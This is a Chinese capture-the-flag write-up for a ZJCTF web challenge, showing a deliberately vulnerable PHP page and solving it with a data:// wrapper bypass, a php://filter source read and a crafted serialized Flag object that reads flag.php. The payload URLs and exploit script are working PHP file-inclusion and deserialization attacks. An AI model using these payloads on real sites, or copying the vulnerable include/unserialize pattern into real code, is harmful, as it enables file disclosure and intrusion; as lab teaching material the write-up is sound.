题目链接

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  1. 5行检测file_get_contents($text)
  2. 11行文件包含
  3. 12行反序列化

伪协议

  1. 通过data协议绕过file_get_contents条件判断
  2. 通过php协议查看useless.php(代码提示)内容
1
2
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/convert.base64-encode/resource=useless.php

解码得到 useless.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

index.php12-13行,我们可以触发__tostring

exp

1
2
3
4
5
6
7
8
9
10
<?php
class Flag{
public $file="flag.php";
}

$a = new Flag;

echo serialize($a) . "\n";
echo urlencode(serialize($a)) . "\n";
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
1
2
3
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
⬆︎TOP